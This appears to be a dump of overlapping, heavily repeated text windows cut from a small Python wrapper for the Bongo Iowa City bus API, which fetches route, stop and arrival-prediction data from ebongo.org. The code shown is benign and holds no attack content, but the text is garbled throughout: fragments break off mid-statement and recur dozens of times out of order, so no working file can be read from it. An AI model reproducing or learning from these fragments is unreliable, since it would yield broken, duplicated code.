**kwargs)","\"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert","data def route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on a specific route,","based on the response type.\"\"\" content_type = response.headers['content-type'] if content_type == 'application/json': data",">>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] = number return","{\"routes\": [1234, 5678, 9999]} \"\"\" return self.route() def stop(self, number=None, **kwargs): \"\"\" Retrieve","**kwargs) def stops(self): \"\"\" Same as an empty call to the `stop` method.","'stoplist' return self.get(endpoint, **kwargs) def stops(self): \"\"\" Same as an empty call to","stop. >>> Bongo().predict(8350) {\"stop\": {\"8350\": \"prediction\"}} \"\"\" endpoint = 'prediction' kwargs['stopid'] = number","self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empty call to the `route`","endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist'","__init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET","number=None, **kwargs): \"\"\" Retrieve information specific to a given stop number. >>> Bongo().stop(8350)","The `stoplist` endpoint insists that it's HTML. data = response.json else: data =","response): \"\"\"Convert a request based on the response type.\"\"\" content_type = response.headers['content-type'] if","url = \"http://ebongo.org/api/%s\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self,","endpoint insists that it's HTML. data = response.json else: data = response.content return","else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an","if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return","a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint","A simple Python wrapper for the Bongo Iowa City bus API. \"\"\" def","'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self):","specific to a given stop number. >>> Bongo().stop(8350) {\"stop\": {\"8350\": \"information\"}} \"\"\" if","information on a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\"coralville's\":","the Bongo Iowa City bus API. \"\"\" import requests as req class Bongo(object):","= response.json else: data = response.content return data def route(self, tag=None, agency=None, **kwargs):","route(self, tag=None, agency=None, **kwargs): \"\"\" Get information on a specific route, or all","\"\"\" Predict the bus arrival times for a specific stop. >>> Bongo().predict(8350) {\"stop\":","def routes(self): \"\"\" Same as an empty call to the `route` method. >>>","def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request to the API and","= req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \"\"\"Convert a request based on","the Bongo Iowa City bus API. \"\"\" def __init__(self, format='json'): self.format = format","format='json'): self.format = format def get(self, endpoint, **kwargs): \"\"\"Perform a HTTP GET request","and return the data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format url","'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint,"],"string":"[\n \"number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint,\",\n \"the data.\\\"\\\"\\\" if 'format' not in kwargs: kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\"\",\n \"= 'routelist' return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same as an empty call\",\n \"and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint\",\n \"\\\"\\\"\\\" Get information on a specific route, or all route listings. >>> Bongo().route('lantern',\",\n \"wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" import requests as req\",\n \"routes(self): \\\"\\\"\\\" Same as an empty call to the `route` method. >>> Bongo().routes()\",\n \"stop number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint = 'stop'\",\n \"5678, 9999]} \\\"\\\"\\\" return self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\" Predict the bus\",\n \"stops(self): \\\"\\\"\\\" Same as an empty call to the `stop` method. >>> Bongo().stops()\",\n \"content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist' in\",\n \"\\\"route\\\"}} \\\"\\\"\\\" if agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route']\",\n \"= number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same\",\n \"self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same as an empty call to the `stop`\",\n \"= format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET request to the\",\n \"if content_type == 'application/json': data = response.json elif 'stoplist' in response.url: # The\",\n \"bus arrival times for a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\"\",\n \"City bus API. \\\"\\\"\\\" def __init__(self, format='json'): self.format = format def get(self, endpoint,\",\n \"class Bongo(object): \\\"\\\"\\\" A simple Python wrapper for the Bongo Iowa City bus\",\n \"= self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response)\",\n \"{\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and tag: endpoint = 'route' kwargs['agency'] = agency\",\n \"method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.route() def stop(self, number=None,\",\n \"on the response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type == 'application/json': data =\",\n \"listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and tag: endpoint\",\n \"def stops(self): \\\"\\\"\\\" Same as an empty call to the `stop` method. >>>\",\n \"req class Bongo(object): \\\"\\\"\\\" A simple Python wrapper for the Bongo Iowa City\",\n \"API. \\\"\\\"\\\" def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform\",\n \"= 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist' return\",\n \"'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML. data =\",\n \"**kwargs): \\\"\\\"\\\" Retrieve information specific to a given stop number. >>> Bongo().stop(8350) {\\\"stop\\\":\",\n \"specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\"\",\n \"\\\"\\\"\\\" A simple wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" import\",\n \"call to the `route` method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return\",\n \"\\\"\\\"\\\"Convert a request based on the response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type\",\n \"def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific to a given stop number.\",\n \"as an empty call to the `route` method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678,\",\n \"kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\"\",\n \"call to the `stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return\",\n \"route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and tag:\",\n \"not in kwargs: kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response =\",\n \"convert(self, response): \\\"\\\"\\\"Convert a request based on the response type.\\\"\\\"\\\" content_type = response.headers['content-type']\",\n \"**kwargs) def routes(self): \\\"\\\"\\\" Same as an empty call to the `route` method.\",\n \"if 'format' not in kwargs: kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint)\",\n \"self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a request based on the response type.\\\"\\\"\\\" content_type\",\n \"self.format = format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET request to\",\n \"9999]} \\\"\\\"\\\" return self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific to\",\n \"response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json elif\",\n \"if agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag\",\n \"insists that it's HTML. data = response.json else: data = response.content return data\",\n \"Iowa City bus API. \\\"\\\"\\\" import requests as req class Bongo(object): \\\"\\\"\\\" A\",\n \"an empty call to the `stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]}\",\n \"\\\"\\\"\\\"Perform a HTTP GET request to the API and return the data.\\\"\\\"\\\" if\",\n \"return self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\" Predict the bus arrival times for\",\n \"data.\\\"\\\"\\\" if 'format' not in kwargs: kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\" %\",\n \"request based on the response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type == 'application/json':\",\n \"'application/json': data = response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists\",\n \"response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist' in response.url: #\",\n \"stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific to a given stop number. >>>\",\n \"simple Python wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" def __init__(self,\",\n \"HTML. data = response.json else: data = response.content return data def route(self, tag=None,\",\n \"return self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific to a given\",\n \"return data def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information on a specific\",\n \"return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a request based on the response type.\\\"\\\"\\\"\",\n \"requests as req class Bongo(object): \\\"\\\"\\\" A simple Python wrapper for the Bongo\",\n \"\\\"\\\"\\\" return self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific to a\",\n \"{\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint\",\n \"to the `stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.stop()\",\n \"{\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\" Predict\",\n \"to the API and return the data.\\\"\\\"\\\" if 'format' not in kwargs: kwargs['format']\",\n \"data = response.content return data def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information\",\n \"= \\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response):\",\n \"\\\"\\\"\\\" def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a\",\n \"tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same as\",\n \"self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def\",\n \"return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same as an empty call to the\",\n \"the bus arrival times for a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}}\",\n \"as an empty call to the `stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678,\",\n \"in response.url: # The `stoplist` endpoint insists that it's HTML. data = response.json\",\n \"{\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint = 'prediction' kwargs['stopid'] = number return self.get(endpoint, **kwargs)\",\n \"**kwargs): \\\"\\\"\\\"Perform a HTTP GET request to the API and return the data.\\\"\\\"\\\"\",\n \"\\\"\\\"\\\" import requests as req class Bongo(object): \\\"\\\"\\\" A simple Python wrapper for\",\n \"Bongo(object): \\\"\\\"\\\" A simple Python wrapper for the Bongo Iowa City bus API.\",\n \"Bongo Iowa City bus API. \\\"\\\"\\\" def __init__(self, format='json'): self.format = format def\",\n \"5678, 9999]} \\\"\\\"\\\" return self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific\",\n \"API and return the data.\\\"\\\"\\\" if 'format' not in kwargs: kwargs['format'] = self.format\",\n \"Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and tag: endpoint = 'route'\",\n \"= agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def\",\n \"specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint = 'prediction' kwargs['stopid'] =\",\n \"endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same as an empty\",\n \"def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP\",\n \"it's HTML. data = response.json else: data = response.content return data def route(self,\",\n \"params=kwargs) return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a request based on the response\",\n \"kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\"\",\n \"GET request to the API and return the data.\\\"\\\"\\\" if 'format' not in\",\n \"a HTTP GET request to the API and return the data.\\\"\\\"\\\" if 'format'\",\n \"= 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def\",\n \"9999]} \\\"\\\"\\\" return self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\" Predict the bus arrival\",\n \"all route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and\",\n \"number, **kwargs): \\\"\\\"\\\" Predict the bus arrival times for a specific stop. >>>\",\n \"\\\"\\\"\\\" Same as an empty call to the `stop` method. >>> Bongo().stops() {\\\"stops\\\":\",\n \"times for a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint =\",\n \"that it's HTML. data = response.json else: data = response.content return data def\",\n \"data = response.json else: data = response.content return data def route(self, tag=None, agency=None,\",\n \"Iowa City bus API. \\\"\\\"\\\" def __init__(self, format='json'): self.format = format def get(self,\",\n \"as req class Bongo(object): \\\"\\\"\\\" A simple Python wrapper for the Bongo Iowa\",\n \"Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint = 'stop' kwargs['stopid'] = number\",\n \"return the data.\\\"\\\"\\\" if 'format' not in kwargs: kwargs['format'] = self.format url =\",\n \"the response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json\",\n \"\\\"\\\"\\\" A simple Python wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\"\",\n \"\\\"information\\\"}} \\\"\\\"\\\" if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint =\",\n \"req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a request based on the\",\n \"given stop number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint =\",\n \"self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\" Predict the bus arrival times for a\",\n \"the `stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.stop() def\",\n \"for the Bongo Iowa City bus API. \\\"\\\"\\\" def __init__(self, format='json'): self.format =\",\n \"endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET request to the API and return the\",\n \"to the `route` method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.route()\",\n \"to a given stop number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number:\",\n \"Predict the bus arrival times for a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\":\",\n \"method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.stop() def predict(self, number,\",\n \"arrival times for a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint\",\n \"the API and return the data.\\\"\\\"\\\" if 'format' not in kwargs: kwargs['format'] =\",\n \"API. \\\"\\\"\\\" import requests as req class Bongo(object): \\\"\\\"\\\" A simple Python wrapper\",\n \"self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific to a given stop\",\n \"predict(self, number, **kwargs): \\\"\\\"\\\" Predict the bus arrival times for a specific stop.\",\n \"number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint = 'stop' kwargs['stopid']\",\n \"Python wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" def __init__(self, format='json'):\",\n \"def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information on a specific route, or\",\n \"Get information on a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville')\",\n \"response.json else: data = response.content return data def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\"\",\n \"empty call to the `route` method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\"\",\n \"simple wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" import requests as\",\n \"[1234, 5678, 9999]} \\\"\\\"\\\" return self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\" Predict the\",\n \">>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.stop() def predict(self, number, **kwargs):\",\n \"number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same as\",\n \"in kwargs: kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url,\",\n \"Retrieve information specific to a given stop number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}}\",\n \"a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}}\",\n \"tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint =\",\n \"response.content return data def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information on a\",\n \"= response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist' in response.url:\",\n \"information specific to a given stop number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\"\",\n \"= 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same as an empty call\",\n \"Same as an empty call to the `route` method. >>> Bongo().routes() {\\\"routes\\\": [1234,\",\n \"kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs)\",\n \"(endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a request\",\n \"return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same as an empty call to the\",\n \"empty call to the `stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\"\",\n \"**kwargs): \\\"\\\"\\\" Get information on a specific route, or all route listings. >>>\",\n \"% (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a\",\n \"{\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint = 'stop' kwargs['stopid'] = number else:\",\n \"else: data = response.content return data def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get\",\n \"an empty call to the `route` method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]}\",\n \"Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\"\",\n \"'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and tag: endpoint = 'route' kwargs['agency']\",\n \"\\\"\\\"\\\" Same as an empty call to the `route` method. >>> Bongo().routes() {\\\"routes\\\":\",\n \"[1234, 5678, 9999]} \\\"\\\"\\\" return self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve information\",\n \"a request based on the response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type ==\",\n \"`stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.stop() def predict(self,\",\n \"<reponame>codeforamerica/bongo \\\"\\\"\\\" A simple wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\"\",\n \"for the Bongo Iowa City bus API. \\\"\\\"\\\" import requests as req class\",\n \"**kwargs): \\\"\\\"\\\" Predict the bus arrival times for a specific stop. >>> Bongo().predict(8350)\",\n \"or all route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency\",\n \"get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET request to the API and return\",\n \"data = response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists that\",\n \"the `route` method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.route() def\",\n \"response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a request based\",\n \"kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url, params=kwargs) return\",\n \"\\\"\\\"\\\" return self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\" Predict the bus arrival times\",\n \"for a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint = 'prediction'\",\n \"# The `stoplist` endpoint insists that it's HTML. data = response.json else: data\",\n \">>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.route() def stop(self, number=None, **kwargs):\",\n \"Same as an empty call to the `stop` method. >>> Bongo().stops() {\\\"stops\\\": [1234,\",\n \"def convert(self, response): \\\"\\\"\\\"Convert a request based on the response type.\\\"\\\"\\\" content_type =\",\n \"on a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\":\",\n \"\\\"\\\"\\\" if agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] =\",\n \"Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint = 'prediction' kwargs['stopid'] = number return self.get(endpoint,\",\n \"\\\"\\\"\\\" Retrieve information specific to a given stop number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\":\",\n \"kwargs: kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url, params=kwargs)\",\n \"agency=None, **kwargs): \\\"\\\"\\\" Get information on a specific route, or all route listings.\",\n \"HTTP GET request to the API and return the data.\\\"\\\"\\\" if 'format' not\",\n \"bus API. \\\"\\\"\\\" def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs):\",\n \"= tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same\",\n \"`route` method. >>> Bongo().routes() {\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.route() def stop(self,\",\n \"else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same as an\",\n \"agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else:\",\n \"'routelist' return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same as an empty call to\",\n \"endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same as an empty\",\n \"def predict(self, number, **kwargs): \\\"\\\"\\\" Predict the bus arrival times for a specific\",\n \"= response.content return data def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information on\",\n \"response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML.\",\n \"A simple wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" import requests\",\n \">>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint = 'stop' kwargs['stopid'] =\",\n \"a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint = 'prediction' kwargs['stopid']\",\n \">>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and tag: endpoint =\",\n \"wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" def __init__(self, format='json'): self.format\",\n \"content_type == 'application/json': data = response.json elif 'stoplist' in response.url: # The `stoplist`\",\n \"= response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's\",\n \"type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist'\",\n \"{\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if agency and tag: endpoint = 'route' kwargs['agency'] =\",\n \"elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML. data\",\n \"tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information on a specific route, or all route\",\n \"`stoplist` endpoint insists that it's HTML. data = response.json else: data = response.content\",\n \"route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\": {\\\"lantern\\\": \\\"route\\\"}} \\\"\\\"\\\" if\",\n \"agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self):\",\n \"== 'application/json': data = response.json elif 'stoplist' in response.url: # The `stoplist` endpoint\",\n \"response.url: # The `stoplist` endpoint insists that it's HTML. data = response.json else:\",\n \"Bongo Iowa City bus API. \\\"\\\"\\\" import requests as req class Bongo(object): \\\"\\\"\\\"\",\n \"City bus API. \\\"\\\"\\\" import requests as req class Bongo(object): \\\"\\\"\\\" A simple\",\n \"format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET request to the API\",\n \"Bongo().stops() {\\\"stops\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.stop() def predict(self, number, **kwargs): \\\"\\\"\\\"\",\n \"\\\"\\\"\\\" if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist'\",\n \"'format' not in kwargs: kwargs['format'] = self.format url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response\",\n \"import requests as req class Bongo(object): \\\"\\\"\\\" A simple Python wrapper for the\",\n \"request to the API and return the data.\\\"\\\"\\\" if 'format' not in kwargs:\",\n \"bus API. \\\"\\\"\\\" import requests as req class Bongo(object): \\\"\\\"\\\" A simple Python\",\n \"endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs)\",\n \"\\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert\",\n \"data def route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information on a specific route,\",\n \"based on the response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if content_type == 'application/json': data\",\n \">>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint = 'prediction' kwargs['stopid'] = number return\",\n \"{\\\"routes\\\": [1234, 5678, 9999]} \\\"\\\"\\\" return self.route() def stop(self, number=None, **kwargs): \\\"\\\"\\\" Retrieve\",\n \"**kwargs) def stops(self): \\\"\\\"\\\" Same as an empty call to the `stop` method.\",\n \"'stoplist' return self.get(endpoint, **kwargs) def stops(self): \\\"\\\"\\\" Same as an empty call to\",\n \"stop. >>> Bongo().predict(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"prediction\\\"}} \\\"\\\"\\\" endpoint = 'prediction' kwargs['stopid'] = number\",\n \"self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same as an empty call to the `route`\",\n \"endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist'\",\n \"__init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET\",\n \"number=None, **kwargs): \\\"\\\"\\\" Retrieve information specific to a given stop number. >>> Bongo().stop(8350)\",\n \"The `stoplist` endpoint insists that it's HTML. data = response.json else: data =\",\n \"response): \\\"\\\"\\\"Convert a request based on the response type.\\\"\\\"\\\" content_type = response.headers['content-type'] if\",\n \"url = \\\"http://ebongo.org/api/%s\\\" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self,\",\n \"endpoint insists that it's HTML. data = response.json else: data = response.content return\",\n \"else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): \\\"\\\"\\\" Same as an\",\n \"if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return\",\n \"a given stop number. >>> 